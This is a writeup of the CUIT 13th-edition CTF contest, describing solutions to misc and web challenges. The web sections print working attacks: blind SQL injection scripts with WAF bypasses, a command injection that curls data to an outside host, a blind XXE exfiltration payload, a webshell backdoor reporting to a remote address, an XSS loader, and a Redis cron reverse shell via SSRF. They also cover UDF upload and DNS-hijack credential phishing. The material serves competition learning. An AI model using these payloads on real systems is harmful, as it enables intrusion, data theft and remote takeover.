胖哈勃杯第十三届CUIT校赛官方Writeup

misc

签到题

老套路,关注我们的微博:http://weibo.com/sycloversyc
发送私信就好啦

Misc.Chami

引用Nu1L师傅们的wp

ps: 数据在文本替换上出错了,向大家道歉.

Terraria

引用全全全全全全完了的wp
休闲题,玩玩游戏拿拿flag岂不美哉?

我们在各位大佬开过荒之后进图找flag,发现了上天的台阶

在天上找到了虹色的flag(有个大坏蛋把下划线挖掉了)

我萌吗?

引用BXS的wp

<html> <head>
<script src="./someThing.js" type="text/javascript"></script>
<script src="./noBug.js" type="text/javascript"></script> </head>
<body>
<img src="./key.png" alt="" width="500" height="500"> <img src="./dest.png" width="500" height="500" alt="">
</body> </html>


 function encode(e,r,n,a,i){for(var o=[],t=[],f=fs.readFileSync(r),g=fs.readFileSync(n),s=new pp(f),d=new pp(g),h=s.size(),c =h.width*h.height,l=(new Buffer(4*c),0);l<e.length;l++)for(v=Math.floor(c*Math.random());;){if(!o.includes(v)){o.push(v),t. push(l);break}v=(v+1)%Math.floor(c)}for(l=0;l<h.height;l++)for(var p=0;p<h.width;p++){var u=o.findIndex(function(e){return e===l*h.width+p}),b=t[u];if(-1!==u){var v=s.get(p,l);100*Math.random()>50&&!o.includes(p*h.width+l)?(s.set(p,l,{r:255- v.r,g:255-v.g,b:255-v.b,a:v.a}),d.set(l,p,{r:v.r,g:b,b:e.charCodeAt(b)})):(s.set(p,l,{r:v.r,g:b,b:255-v.b,a:v.a}),d.set(p, l,{r:v.r,g:e.charCodeAt(b),b:v.b,a:v.a}))}}s.save(a,function(e){console.log(e)}),d.save(i,function(e){console.log(e)})}var pp=require("png-img"),fs=require("fs"),flag="5L2g5LiN5Lya5Lul5Li66L+Z5piv562U5qGI5ZCnPw==";encode(flag,"1.png","ks.png","de st.png","key.png");


pic

三次dwt变换,[HH,HL,LH,LL]中的LL,小波变换的原理

小小的PDF

原本pdf中有三张图片,我通过修改控制图片显示高度参数隐藏含有flag的那张图片。
拿到一个文件下意识应该回去binwalk跑一下
发现是存在三张图片的,将最后一张图片通过偏移提取出来,或者直接利用foremost处理一下也可以直接得到flag图片

藏着东西的流量包

题目描述中已经提示了“黑客绕过层层防火墙”,而实战中木马远控等绕过最常用的就是DNS协议。
得到一个流量包首先过滤一下文件请求看一下。在http中可以找到一个key.zip,从中可以获取key,可以看到他是从key.hacker.com下载,根据提示应该去单独过滤一下还和这个域名请求了什么
在这里可以发现存在大量DNS请求,都是以四位16进制数字开头,这里可以将其过滤出来得到

56544a4763325248566d74594d5374704e464d78633239706369395356445a7462335254536d526e54464644527a564e576c526c6247396e636b56505153746f6545354d57455644624849345755706f5957783159773d3d

转换字符串可以得到一串base64,解开之后再利用之前获得key去解AES即可
如果不会提取DNS可以参见http://blog.csdn.net/u011500307/article/details/25838075

web

山水集团

0x00 出题思路:

这道题目考察点有三部分:

  1. SQL注入绕过

思路来源:

http://www.freebuf.com/articles/database/132189.html

http://blog.nudtcat.org/SQL注入/百度BSRC-SQL注入挑战赛部分writeup/

https://www.exploit-db.com/papers/18263/

  1. MySQL字符编码集

思路来源:

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

  1. 后台无回显的命令执行

思路来源:

真实渗透测试中遇到的一次案例,Linux:cat * |head -n,而n参数是由我们传入可控且未过滤,最后导致拼接管道符后导致命令执行

0x01 解题思路:

  1. 先对题目进行一个简单的信息搜集,发现存在一处目录遍历漏洞:

http://54.223.247.98:8090/doc/

img

其中有两个文本文件,但是目前并未发现有什么用处,可以先做记录

  1. 对题目功能部分进行简单浏览发现

    (1). 点击题目商品详情模块存在一个id参数,而id采用了base64(phpauthcode)加密

    (2). 商品详情页面可点击分享商品,会向/share.php post text参数,参数的内容正对应id内容

故其实我们不需要知道id参数是如何加密的,利用向/share.php post text 即可生成对应加密后的payload

(3). 测试发现,shop_items.php?id= 对传入参数解密后存在WAF过滤,故我们可以先生成对应加密payload,对常见的字符串函数和操作符进行Fuzz,实际后端过滤如下:

/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%20')."|".urldecode('%a0')."/i

注入分析

waf对运算符没有过滤太严,过滤了常见的字符串函数和基本注入语句中的一些,出数据的要点就是字符串的比较运算,因为语句执行的结果影响了前端页面的展示,所以可以利用大小比较、数据库查询错误等多种方法构造布尔型盲注语句。

过滤了空格及其他间隔字符,可以用括号绕过

过滤了&|*/=等逻辑处理字符,可以用inexistsposition..in><!<>等其他的结构及操作符组合绕过

过滤了substringmid等字符串分割函数,可以用比较运算符绕过

这些知识点可以参考小组的小伙伴们写过的文章以及MySQL官方文档

MySQL注入攻击与防御

http://bobao.360.cn/learning/detail/3804.html?imageView2/1/w/125/h/78/q/100

数据库名

没有禁用database函数,可以直接查询select(database())比较下就出来了

payload:(详见数据脚本

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = '(select(database())>0x{0})'
query_statement_1 = '(select(database())<0x{0})'

表名

个数脚本跑完可以看到,backend数据库中有两个表,在不知道表名的情况下,查询表名返回的多行结果会让数据库产生错误,返回为空,而当构造条件使查询只返回一条记录时,便会正常的返回一些信息。

注入步骤

如果表名的第一个字符不一样,我们可以先把第一个字符的分界点跑出来,比如这里stu就是分界字符,然后再用分界字符筛选一下跑具体的表名

payload:

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = '(select(select(table_name)from((select(table_name)from(information_schema.tables)' \
                  'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'
query_statement_1 = '(select(select(table_name)from((select(table_name)from(information_schema.tables)' \
                    'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))<0x{0})'

这里可以跑出第一个表名:SHOP_ITEMS。然后将table_name<0x74改成table_name>0x74就可以跑出第二个表名USERS

字段名

个数脚本再跑一下发现users表中有两个字段,同表名,可以利用返回结果多行来产生错误造成返回的差异得到数据。这里可以通过>运算可以过滤掉表SHOP_ITEMS的字段

payload(user_pass):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                  'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53)))r)' \
                  'where(column_name>0x{0}))>0x{0}'
query_statement_1 = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                    'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53)))r)' \
                    'where(column_name>0x{0}))<0x{0}'

这里可以跑出字段user_pass。因为user_这个前缀是共有的,p>nn的下一位是还有数据,所以在我的脚本里不符合终止和真实数据的条件,就继续跑下去把后面的pass先跑完了。然后同样的可以用>过滤下字段名,跑第二个字段。

payload(user_name):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                  'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53))>' \
                  '((column_name)in(0x555345525F50415353)))r)where(column_name>0x{0}))>0x{0}'
query_statement_1 = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                    'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53))>' \
                    '((column_name)in(0x555345525F50415353)))r)where(column_name>0x{0}))<0x{0}'

数据

个数脚本跑一下只有一条数据,可以直接读

payload(user_name):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(user_name)from(users))>0x{0}'
query_statement_1 = 'select(select(user_name)from(users))<0x{0}'

payload(user_pass):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(user_pass)from(users))>0x{0}'
query_statement_1 = 'select(select(user_pass)from(users))<0x{0}'

数据大小写问题

没有ascii,hex函数,怎么跑大小写?像我的这个脚本,跑出来全是大写的。这次也有好几个师傅在问这个问题,当然进后台的师傅们在没有注出大小的情况下依旧有办法进入后台,用户名中一共就6个字母,爆破一下就行了。但实际上是可以注出来的。

我们知道在ascii表中,A-Z的范围为0x41-0x5aa-z的范围为0x61-0x7a。中间还隔着0x5b-0x60。mysql中两个英文字母是按照字母表的顺序而不是ascii值,但如果是英文字母和非字母字符做比较则是按照ascii码进行比较的,所以可以先与0x5b-0x60中的任意一个做比较,确定大小写,再跑具体的字母。

脚本

  • 数据脚本

# encoding: utf-8 """ [+] 河流之心@Syclover [+] 2017-5-30 0:20 """ import requests """ payload """ # 以数据库名为例 logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)" query_statement = '(select(database())>0x{0})' query_statement_1 = '(select(database())<0x{0})' """ payload """ url_1 = "http://54.223.247.98:8090/share.php" url_2 = "http://54.223.247.98:8090/shop_items.php?id=%s" headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Referer": "http://54.223.247.98:8090"} hex_s = ["20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2A", "2B", "2C", "2D", "2E", "2F", "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3A", "3B", "3C", "3D", "3E", "3F", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4A", "4B", "4C", "4D", "4E", "4F", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5A", "5B", "5C", "5D", "5E", "5F", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6A", "6B", "6C", "6D", "6E", "6F", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7A", "7B", "7C", "7D", "7E", "7F", "80"] data = '' def _request(c, m): if m is not 'last_char': payload = logical_statement % query_statement else: payload = logical_statement % query_statement_1 for count in range(3): try: response = requests.post(url_1, headers=headers, data=payload.format(data + c),) response = requests.get(url_2 % response.content, headers=headers) return response.content except Exception as e: print "Error Occurred : ", e.message completed_flag = False for p in range(1, 100): if completed_flag: break print 'Position: ', p for w in hex_s: if w == "80" and "维他柠檬茶" in _request(data[-2:], 'last_char'): data = data[:-2] + hex_s[hex_s.index(data[-2:]) + 1] completed_flag = True break elif "维他柠檬茶" in _request(w, '1'): char_index = hex_s.index(w) data += hex_s[(char_index - 1) if char_index > 0 else char_index] print data break print "data : ", data.decode('hex') ``` * 个数脚本 ```python # encoding: utf-8 """ [+] 河流之心@Syclover [+] 2017-5-30 0:20 """ import requests """ payload """ # backend数据库中表的个数为例 logical_statement = "text=9423>(case(%s)when(1)then(0)else(1)end)" query_statement = '(select(count(table_name))from(information_schema.tables)where' \ '((table_schema)in(0x6261636b656e64)))>{0}' query_statement_1 = '(select(count(table_name))from(information_schema.tables)where' \ '((table_schema)in(0x6261636b656e64)))<{0}' """ payload """ url_1 = "http://54.223.247.98:8090/share.php" url_2 = "http://54.223.247.98:8090/shop_items.php?id=%s" headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Referer": "http://54.223.247.98:8090"} def _request(l, m): if m is not 'check': payload = logical_statement % query_statement else: payload = logical_statement % query_statement_1 for count in range(3): try: response = requests.post(url_1, headers=headers, data=payload.format(l)) response = requests.get(url_2 % response.content, headers=headers) return response.content except Exception as e: print "Error Occurred : ", e.message for num in range(100): print 'Testing Length: ', num if "维他柠檬茶" not in _request(num, 1) and "维他柠檬茶" not in _request(num, 'check'): print 'Length: ', num exit() ``` 选手解题思路: 1. Vidar c014(应该是最快注入出数据的师傅,只是最后有些可惜) ```python #!/usr/bin/env python # -*- coding:utf-8 -*- import requests s = requests.session() def get_data(): result = "" # database = "backend" table = "SHOP_ITEMS,USERS ". columns = "ID,TITLE,PRICE,CONTENT,USER_NAME,USER_PASS " "q1t0ngw3i" "ab@15!74587~caibudao" #q1t0ngw3i #ab@15!74587~caibudao for j in range(0,99): for i in range(33,128): print i url1 = "http://54.223.247.98:8090/share.php" sql1 = "'0'or(select(group_concat((user_pass)SEPARATOR'-'))from(users))<'"+result+chr(i)+"'" data = {"text":sql1} headers1 = {"Referer":"http://54.223.247.98:8090/shop_items.php?id=Yjg1My8yeTBTZVNFcUZuYmNpd3BUL3BEbjhBOHNzZlM5MG0wSzBvYml6Zm8="} r1 = s.post(url1, data=data, headers=headers1 ) sql = r1.text # print sql url2 = "http://54.223.247.98:8090/shop_items.php?id=" payload = url2 + sql # print r2 = s.get(payload,headers=headers1) # print r2.text if "妹纸妹纸" in r2.content: result = result + chr(i-1) print result break def test(): # s = requests.session() url1 = "http://54.223.247.98:8090/share.php" sql1 = "'0'-" data = {"text":sql1} headers1 = {"Referer":"http://54.223.247.98:8090/shop_items.php?id=Yjg1My8yeTBTZVNFcUZuYmNpd3BUL3BEbjhBOHNzZlM5MG0wSzBvYml6Zm8="} r1 = s.post(url1, data=data, headers=headers1 ) # payload = url + sql # r = s.get(payload) sql = r1.text print sql url2 = "http://54.223.247.98:8090/shop_items.php?id=" payload = url2 + sql print r2 = s.get(payload,headers=headers1) print r2.text # test() get_data()
  1. NU1L

img

img

  1. 利用注入得到的数据登录后台

Q1t0ngW3i(用户名可通过上述方式判断大小写或者根据提示爆破6位字母大小写组合)

img

ab@15!74587~caibudao (密码处需要注意注入字符的范围)发现当用户名为:

发现Q1t0ngW3i 登录后台时,返回出现不同:

img

查看页面源码发现提示:

img

这个思路比较常见了,利用MySQL字符编码问题绕过,具体可以看看ph师傅这篇文章:

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

最后向 http://54.223.247.98:8090/user/logCheck.php post:

user=Q1t0ngW3i%c2&pass=ab@15!74587~caibudao&submit=%E7%99%BB%E5%BD%95

即可成功登陆,跳转到后台

  1. 后台无回显命令执行

img

这里当时设计的时候做的不是很好,给大家造成了一点困扰,右边那部分

cat ./../doc/haha.book |head -10 本来是想提示大家命令的格式,然后结合显示行数大家能推断出来10这个部分是我们可控的。但是实际大家在尝试的时候因为输入行数发现右边部分内容并未改变就比较困扰(在思考这里是否可能是有回显的命令执行)。

后来,放了一个提示:

img

首先说一下预期的一种解法:

这里我们测试的时候,会发现一些命令和空格被过滤了,后端过滤如下:

$filter = "/ |&|\<|\>|\?|%09|%0a|%0b|%0c|%0d|%20|%00|ls|cat|;|folye0GsJWr|-|\^/i";

然后大家会想到,此处可能只是对于这些特定的命令在代码层进行了过滤,而服务器上这些命令依然是可用的

结合我们在第一步信息搜集时发现到的:目录遍历漏洞,其中存在一个secret.txt,我们可以利用secret.txt中的字符拼凑出我们的命令(此处的目录遍历漏洞发现大家都没有太重视)

10|curl${IFS}http://yours.ceye.io/$(`expr${IFS}substr${IFS}$(awk${IFS}NR==2${IFS}./../doc/secret.txt)${IFS}4${IFS}1``expr${IFS}substr${IFS}$(awk${IFS}NR==3${IFS}./../doc/secret.txt)${IFS}10${IFS}1``expr${IFS}substr${IFS}$(awk${IFS}NR==2${IFS}./../doc/secret.txt)${IFS}20${IFS}1`${IFS}../folye0GsJW*|base64)

最后在请求记录中获得最终的FLAG

但是命令执行漏洞,这里特别难以限制和过滤,如果非要大家去使用这种预期的解法思路就会显得过于刻意,所以这里尽管知道会出现其他的一些解法也没有做更多的限制了。因而,这一步还有很多其他的思路也可以达到同样的效果。

WEB250

  1. 时间伪随机的弱Token,导致所有用户的密码可被重置
  2. 后台Blind-XXE过滤其他协议宇关键字,使用PHP伪协议读取数据

进入题目首先看到题目与提示都出现了Time,此题应该与时间有关,继续看到下面有如下提示:

  1. Not SQL Injection
  2. No source code
  3. Not Weak password
  4. Have fun

之后进入题目分析功能,注册,登陆与忘记密码,那结合提示已经很明显了,漏洞就在忘记密码处:

那么我们注册之后在这里填写我们注册的邮箱就能在源码里看到我们的重置链接(ps:起初是想直接发邮件给大家,但是考虑到选手请求过多会造成发送不出邮件的情况,所以之间给出链接在源码当中)

我们拿到链接http://54.223.247.98:2001/resetpassword.php?email=test@admin.com&token=fc944ea6b92f5a8480969e02e7b19cf0
分析之,那么只有token这个地方存在漏洞了,判断为md5,解出为一串时间戳,而且我们重置管理员的邮箱时没有回显链接,很明显,是通过时间戳去用脚本跑出管理员的重置链接,得到管理员的密码进入后台即可。(PS:这里说明一下有的朋友通过大小写管理员邮箱的方式去得到链接,然后去重置的方式是可以的,当时主要是为了防止搅屎所以每个用户可以有多个token却没有考虑到数据库查询时对大小写不敏感的问题,导致这种方式也可以去得到一个重置token,但这不是出题点😂,)

但是访问链接会出现这个问题:

IP在黑名单当中,但是注意到是说客户端IP或者代理IP在黑名单当中,可以得到信息这个地方改XFF头即可,因为XFF是用来在代理当中获取IP的一个手段。在反向代理时就会使用XFF来获取IP。

那么得到密码进入后台:

当我们点击生成之后就会生成一个有提示为xml的页面,很明显的一个XXE漏洞了。这里是一个简单的Blind-XXE,过滤了一些协议,这里直接放payload了:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % ttt SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % xxx SYSTEM "http://Your IP/evil.xml">
    %xxx;
    %send;
]>
<root></root>


evil.xml:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://Your IP/?content=%ttt;'>">
%payload;

中国菜刀

对菜刀抓包可以发现在打开webshell的时候里面有一段后门代码

base64解码后

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;file_get_contents('http://x.x.x.x/shellbox.php?shell='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_Pwd='.key($_POST));;echo("|<-");die();

可以知道后门的地址是x.x.x.x/shellbox.php,类似那些钓鱼的网站你填入的信息会记录到后台,这里shell的信息一样也应该会被记录,所以可以去测试是否有xss。发现script,on事件这些有过滤,对接收webshell的信息也有时间限制不能一直发(这个是防止别人搞事了)。通过一些普通的标签比如img这些可以看到后台的请求,例如http://127.0.0.1/shellbox_admin.php?id=1
这里是只能在服务器通过127.0.0.1去访问的,为了防止做题的人在这浪费时间,加了个这里不会有漏洞的注释。
盲打的话可能会有些蛋疼,所以也有个.shellbox.php.swp文件来用来泄漏过滤的规则

    if(preg_match('/script|object|link|on\w*?\s*\\=\s*[\\x00-\\x7f]+?$|srcdoc\s*\\=\s*[\\x00-\\x7f]+?$/i',$shell)){

可以看出来这里的过滤其实并不是很严格的,用iframe就有不少姿势可以绕过(这里没做更多过滤是觉得限制死一种解法的话不好),所以没扫到上面的那个文件也没关系了。这里的规则是参考之前一个xss挑战赛的弄的一个类似的,它也是检测属性里的值是否是ascii码才过滤,用%80后面的字符就可以绕过了,on事件里面插入这些字符会导致没法执行了,但是srcdoc这里没关系,所以一个解法是

<iframe srcdoc="%80<script>window.parent.document.body.appendChild(window.parent.document.createElement('script')).src='http://x.x.x.x/1.js'</script>">

里面除了%80外的其它字符还要用html编码一次,这里的js是去读源码的,通过读http://127.0.0.1/shellbox_admin.php?id=1的源码就可以拿到flag

简陋的博客

ps:首先这里出题人先背锅,这道题get过滤的比较严格,post就只是象征性的过滤了下,但是由于测试的时候将`去掉了,导致出现了很多非预期的解

下面是处理get、post和request的代码

if (!empty($_GET)){
        foreach($_GET as $value){
            if (preg_match('/(and|or|union|select|update|delete|insert|from|where|limit|sleep|count|concat|rand|floor|substr|ascii|char|mid|order|version\(\)|database\(\)|user\(\)|\#|\-\-|\'|\"|\=|\*|\&|\|\`)/i', $value)){
                die('Bad request!');
            }
        }
    } else if (!empty($_POST)){
        foreach($_POST as $value){
            if (preg_match('/(and.*\=.*|or.*\=.*|\&\&.*\=.*|\|\|.*\=.*|union select|select.*from.*where|limit .*,.*|sleep(.*)|if(.*)|order by [0-9]*|left(.*,.*)|\`)/i', $value)){
                die('Bad request!');
            }
        }
    }

    foreach($_REQUEST as $key => $value){
        if (!is_array($value)){
            $_REQUEST[$key] = addslashes($value);
        }
    }
    extract($_REQUEST);

这里已经将 `加上去了,在get请求的时候同时post提交payload,就可以绕过前面的关键字检测,后面就是注入了

短域名工具

此题是一个短域名生成工具,某次使用google短域名的时候,发现居然还会请求域名!后面发现挺多短域名工具也会这样做,所以以此为契机。

非预期解法绕过,Nu1L的师傅用dns重绑定绕过,orz

http://0xAC120002

这个题目,我是做了严格的过滤的,302跳转后的地址也是验证的,另外对内网地址限制,是先经过解析为ip,然后再进行ip限制。但是当时没仔细看ip的限制,docker里面的ip是172.18段,导致是可以绕过的。
代码修改于:
https://github.com/chengable/safe_code

我就说说原本的思路吧

主要考察两点:
1、dns重绑定绕过ssrf的waf
2、dict协议利用

php的waf做判断的时候,第一次会解析域名的ip,然后判断这个ip是不是内网ip,如果不是内网ip的时候,再去真正用curl请求这个域名。
这就牵涉到了,curl请求这个域名会做第二次域名解析,重新对dns服务器进行请求,获得到一个内网ip,这时候就是绕过限制请求到了内网资源。
当然需要ttl设置为0,不然里面坑点挺多。

自己写一个dns服务器,

所以当我们请求的时候:
http://域名/tools.php?a=s&u=http://ip:88/_testok
等价于:
http://127.0.0.1/tools.php?a=s&u=http://ip:88/_testok

可以看到是dns绕过限制成功

另外可以从phpinfo中获取到很多信息。比如redis的主机

另外还有一个很重要的点:libcurl是7.19.7,版本很老,只支持tftp, ftp, telnet, dict, http, file
大家对gophar比较熟悉,但是事实上,dict等协议也是可以利用的,比如利用它来攻击redis

最后的exp:

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dir:/var/spool/cron/

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dbfilename:root

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/8888\x200>\x261\x0a\x0a\x0a"

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/save

这里面最需要注意的就是编码问题,一不小心就很容易出问题

三叶草影视集团

先按从题目入手
http://www.rootk.pw/

题目描述:
三叶草影视集团最近准备向电影圈进军,设计网络架构到安全防护措施方案,忙忙碌碌的准备了两个月,今天终于要上线啦!

第一个flag:

flag在后台中.
此题贴近实战,需要做一定的信息收集
信息收集包含 -> 域名信息收集 ,需要社工
注入点权限很高,模拟的root用户,但是防止搅屎,有些权限做的比较严
pdo mysql

第二个flag:

第二个flag在管理员的个人机器上,不知道个人机器是哪个?反正是挺安全的一个个人机器
管理员经常喜欢3389登录办公服务器,偷偷ps: 师傅们别搅屎,这里的权限不好做,所以就没做了,但是flag应该是删不掉的。嘻嘻

信息收集
1、直接whois查询是有域名保护的,可以找一些威胁情报平台进行查询
https://x.threatbook.cn/domain/rootk.pw

邮箱:vampair@rootk.pw
注册人:Zhou Long Pi

既然有这样的邮箱,可以通过经验猜解会有:mail.rootk.pw,当然也可以用二级域名扫描工具扫描一下。
社工库中找一下vampair这样的名字,组合密码构成字典,可以得到密码为19840810

其中有一个邮件十分引起注意,http://dns-manage.rootk.pw:8080/index.php
it_manager@rootk.pw 发送的

主战渗透
2、
主战用了百度cdn,这个很明显不是真是的ip

主战里面能够点击的链接也就只有:http://www.rootk.pw/single.php?id=2
主战有cdn,那么想要找到真实ip的话,看一下前面的mail域名的ip,查询得知此ip是疑似真实ip,修改hosts然后再访问一下主站是能够访问到的。这样就绕过了百度的cdn

可以很轻松的测出是有注入,其中过滤了空格,使用/**/等就可以绕过:

http://www.rootk.pw/single.php?id=2%27-%271

再继续测试出是支持多语句:

http://www.rootk.pw/single.php?id=2%27-%271%27;select/**/1;

常规的从注入中获取数据:
数据库名、表名、字段

数据库名:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/SCHEMA_NAME/**/from/**/information_schema.SCHEMATA/**/limit/**/1,1);
movie表名:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA='movie'/**/limit/**/0,1);
movie表的字段:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/COLUMN_NAME/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA='movie'/**/and/**/TABLE_NAME='movie'/**/limit/**/1,1);

- movie
    + movie
        - content
        - name
        - id

- temp
    + temp
        - content
        - id

不过里面都没啥数据

1、http://www.rootk.pw/single.php?id=0'/**/union/**/select/**/1,user();

iamroot@10.10.10.128
iamroot,表示着是有root权限,另外也是库站分离,ps:模拟了root权限,防止搅屎

2、http://www.rootk.pw/single.php?id=0'/**/union/**/select/**/1,load_file('/etc/passwd');

有着FILE权限,可以读取导出文件,(@@secure_file_priv变量为空)

http://www.rootk.pw/single.php?id=0'union/**/select/**/1,'lemonlemon'/**/into/**/outfile/**/'/tmp/lemon.txt';
可以验证一下是导出成功的
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(load_file('/tmp/lemon.txt'));

一个linux下的mysql数据root的注入点?可以干什么?可以试试udf,当然渗透时候还是需要运气,因为就看管理员会不会帮你把这个mysql的插件目录权限打开(默认是无权限导入的)

3、http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/@@plugin_dir);

/usr/lib64/mysql/plugin/

4、insert/update/delete都被拦截

有这样的姿势可以绕过,利用mysql的预查询,这样就没有insert那些关键字

SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;PREPARE pord FROM @SQL;EXECUTE pord;

其中0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729
解码就是INSERT INTO movie (name, content) VALUES ('aaaa','aaaa')

其中有一个temp数据库名,里面能够insert进去数据

PS:做了权限防护,不能delete、update,只能insert,权限图:

http://www.rootk.pw/single.php?id=1';SET/**/@SQL=0x494e5345525420494e544f2074656d702e74656d702028636f6e74656e74292056414c5545532028276c656d6f6e746573742729;PREPARE/**/pord/**/FROM/**/@SQL;EXECUTE/**/pord;

作用:INSERT INTO temp.temp (content) VALUES ('lemontest')

验证是否插入数据成功:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/content/**/from/**/temp.temp);

尝试构造udf去执行系统命令
这里udf需要注意的是,系统版本问题,容易出现Can’t open shared library等问题

http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(load_file('/etc/issue'));

CentOS release 6.9 (Final) Kernel \r on an \m

可以下载一个centos 6.9,然后自己重新编码udf.so,sqlmap的udf.so测试是失败。

因为这台数据库服务器是外网隔离的,所以上传文件,也只能通过这个注入点来写,但是url的长度是有限的,所以还需要分几次写。

可以下载一个centos 6.9,然后自己重新编码udf.so,sqlmap的udf.so测试是失败。

因为这台数据库服务器是外网隔离的,所以上传文件,也只能通过这个注入点来写,但是url的长度是有限的,所以还需要分几次写。

由于get请求是有长度限制的,所以每次发送的数据不会很多。写一个脚本上传一下已经16进制化后的文本。

import binascii
import requests
import re

# String len
c = 500
with open('udff.txt') as f:
  for s in f:
    content = [s[i:i+c] for i in xrange(0,len(s),c)]

regx = '<p class="m_4">(.*?)<\/p>'
flag = 1
id_arr = []

for data in content:

  # insert content
  if flag:
    expp = "INSERT INTO temp.temp (content) VALUES ('%s')" % data
    url2 = "http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/id/**/from/**/temp.temp/**/where/**/content='{data}'/**/limit/**/0,1);".format(data=data)
  else:
    expp = "INSERT INTO temp.temp (content) VALUES (CONCAT((SELECT * from (select content as b from temp.temp where id='%s')B),'%s'))" % (temp_id,data)
    url2 = "http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/id/**/from/**/temp.temp/**/where/**/content/**/like/**/'%25{data}%25'/**/order/**/by/**/id/**/desc/**/limit/**/0,1);".format(data=data)
    print url2
  exp = binascii.b2a_hex(expp)

  url = "http://www.rootk.pw/single.php?id=1';SET/**/@SQL=0x%s;PREPARE/**/pord/**/FROM/**/@SQL;EXECUTE/**/pord;" % exp
  requests.get(url)

  # select id

  r1 = requests.get(url2)
  m = re.search(regx,r1.content)

  if m.group(1):
    temp_id = m.group(1)
    id_arr.append(m.group(1))
  else:
    print 'Error.'
  flag = 0
print id_arr

可以发现根目录下有一个tools目录,读取里面的脚本

http://www.rootk.pw/single.php?id=0'union/**/select/**/1,load_file('/tools/admin_log-manage.py');

大概几个关键点:
# Author: it_manager@rootk.pw

dns的后台账户密码
data = {
  'user' : 'helloo',
  'pass' : 'syclover'
}

password = "it_manager@123@456"
to_addr = "it_manager@rootk.pw"

从mail中翻到了网络规划图,大概就是做了两个段,有个DMZ(9段),还有一个感觉像是服务段(10段),两段通过一台路由器串着。

再去dns管理后台看一下,发现是能给控制后台域名admin_log.rootk.pw的解析的

这样我们可以将解析地址改为我们的vps,然后vps做一个转发再到这个原来服务器的ip,这样就能进行钓鱼,vps上面监听一下数据。

现在在中间端口转发一下
./ew_for_linux64 -s lcx_tran -l 80 -f 靶机ip -g 80

然后抓取一下流量
tcpdump tcp -i eth1 -t -s 0 -w ./test.cap

获得账户密码:
user=sycMovieAdmin
pass=H7e27PQaHQ8Uefgj

登陆后可以获得第一个flag:SYC{2b1bd3f62cc75da2bc14acb431e054a0}
http://admin_log.rootk.pw/main.php

这里有提示: 恭喜拿到第一个flag,接下来回到内网继续深入吧!


